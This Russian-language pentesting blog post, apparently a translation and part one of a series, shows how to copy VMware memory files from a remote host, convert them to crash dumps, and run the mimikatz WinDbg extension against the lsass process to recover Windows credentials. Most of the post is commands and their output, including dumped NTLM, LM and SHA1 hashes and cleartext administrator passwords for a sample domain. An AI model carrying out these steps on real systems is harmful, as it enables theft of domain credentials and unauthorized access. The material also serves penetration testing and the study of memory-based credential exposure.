03.09.2014

Mimikatz против Virtual Machine Memory – Часть 1

image

Пентестинг – забавная штука. Как только кто-нибудь упомянет о новом способе взлома или новой уязвимости, вы тут же начинаете размышлять обо всех ранее упущенных возможностях. Помню, когда мне рассказали о некоторых «недокументированных»  возможностях Oracle, я начал сожалеть обо всех упущенных шеллах.

Автор: Carnal0wnage

Пентестинг – забавная штука. Как только кто-нибудь упомянет о новом способе взлома или новой уязвимости, вы тут же начинаете размышлять обо всех ранее упущенных возможностях. Помню, когда мне рассказали о некоторых «недокументированных» возможностях Oracle, я начал сожалеть обо всех упущенных шеллах.

Данный пост (и последующее его продолжение) как раз касается этой темы. Я неоднократно встречался с ситуациями, когда мне была доступна папка, набитая файлами виртуальных машин. Знаю, сейчас вы скажете, что можно загрузить raw-диск (vmdk) и использовать утилиты наподобие volatility для извлечения содержимого файловой системы. Однако подобным образом мы не сможем добраться до оперативной памяти.

Исследуя темы, связанные с vCenter/ESXi, мне попались на глаза несколько интересных статей по этому вопросу:

http://www.remkoweijnen.nl/blog/2013/11/25/dumping-passwords-in-a-vmware-vmem-file/
http://blog.gentilkiwi.com/securite/mimikatz/windbg-extension
http://vniklas.djungeln.se/2013/11/29/password-dump-from-a-hyper-v-virtual-machines-memory/

Естественно, после изучения вышеуказанных материалов, я задался вопросом, можно ли осуществить нечто подобное.

В первой статье (авторства Remko) указано, что нужен следующий инструментарий:

Отладочные средства для ОС Windows:

http://www.remkoweijnen.nl/blog/2013/06/13/debugging-tools-for-windows-direct-download/
http://blog.gentilkiwi.com/programmes/windbg

The Windows Memory Toolkit:
http://www.moonsols.com/windows-memory-toolkit/

Текущая версия mimikatz, которая поддерживает windbg:

https://github.com/gentilkiwi/mimikatz

Примечание #1: бесплатная версия Windows Memory Toolkit ограничена операционной системой и архитектурой, на которой можно ее использовать (ограничения – 32-х разрядная архитектура вплоть до Windows Server 2008).

Схема работы:

#1 Копируем файл vmem/vmsn с удаленного хоста.

#2 Конвертируем файл при помощи утилиты bin2dmp (от moonsols) в файл .dmp (я использую платную версию).

C:\Users\user\Desktop>Bin2Dmp.exe "Windows Server 2008 x64-b2afd86a.vmem" win2k8.dmp

bin2dmp - v2.1.0.20140115
Convert raw memory dump images into Microsoft crash dump files.
Copyright (C) 2007 - 2014, Matthieu Suiche
Copyright (C) 2012 - 2014, MoonSols Limited

Initializing memory descriptors... Done.
Directory Table Base is 0x124000
Looking for Kernel Base...
Looking for kernel variables... Done.
Loading file... Done.
nt!KiProcessorBlock.Prcb.Context = 0xFFFFF80001B797A0

stuff happens
[0x0000000040000000 of 0x0000000040000000] [0x000000001DAFE000 of 0x000000
MD5 = E8C2F318FA528285281C21B3141E7C51

Total time for the conversion: 0 minutes 14 seconds.

#3 Загружаем файл в windbg

Примечание #2: Возможно, вам придется запустить .symfix и .reload

kd> .symfix
kd> .reload
Loading Kernel Symbols
...............................................................
................................................................
.....
Loading User Symbols

Loading unloaded module list
....

#4 Загружаем библиотеку mimilib.dll.

kd> .load C:\users\user\desktop\mimilib.dll

.#####. mimikatz 2.0 alpha (x64) release "Kiwi en C" (May 25 2014 21:48:13)
.## ^ ##. Windows build 6002
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' WinDBG extension ! * * */

===================================
# * Kernel mode * #
===================================
# Search for LSASS process
0: kd> !process 0 0 lsass.exe
# Then switch to its context
0: kd> .process /r /p
# And finally :
0: kd> !mimikatz
===================================
# * User mode * #
===================================
0:000> !mimikatz
===================================

После загрузки библиотеки указан дальнейший алгоритм действий (см. выше раздел Kernel Mode).

#5 Находим процесс lsass.

kd> !process 0 0 lsass.exe
PROCESS fffffa800dba26d0
SessionId: 0 Cid: 023c Peb: 7fffffd4000 ParentCid: 01e4
DirBase: 2e89f000 ObjectTable: fffff880056562c0 HandleCount: 1092.
Image: lsass.exe

#6 Переключаем контекст процесса lsass (в данном случае fffffa800dba26d0)

kd> .process /r /p fffffa800dba26d0
Implicit process is now fffffa80`0dba26d0
Loading User Symbols
................................................................
......................

#7 Загружаем mimikatz

kd> !mimikatz

Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : WIN-3C4WXGGN8QE$
Domain : UNLUCKYCOMPANY
SID : S-1-5-20
msv :
[00000002] Primary
* Username : WIN-3C4WXGGN8QE$
* Domain : UNLUCKYCOMPANY
* NTLM : ea2ed0b14406a168791adf5aee78fd0b
* SHA1 : ab7bd2f6a64cf857c9d69dd65916622e3dc25424
tspkg : KO
---SNIP---

Authentication Id : 0 ; 173319 (00000000:0002a507)
Session : Interactive from 1
User Name : Administrator
Domain : UNLUCKYCOMPANY
SID : S-1-5-21-2086621178-2413078777-1398328459-500
msv :
[00000002] Primary
* Username : Administrator
* Domain : UNLUCKYCOMPANY
* LM : e52cac67419a9a2238f10713b629b565
* NTLM : 64f12cddaa88057e06a81b54e73b949b
* SHA1 : cba4e545b7ec918129725154b29f055e4cd5aea8
tspkg :
* Username : Administrator
* Domain : UNLUCKYCOMPANY
* Password : Password1
wdigest :
* Username : Administrator
* Domain : UNLUCKYCOMPANY
* Password : Password1
kerberos :
* Username : Administrator
* Domain : UNLUCKYCOMPANY.NET
* Password : Password1

* Key List
---SNIP---

Другие трюки для Windows 8 и Windows 2012 будут рассказаны во второй части.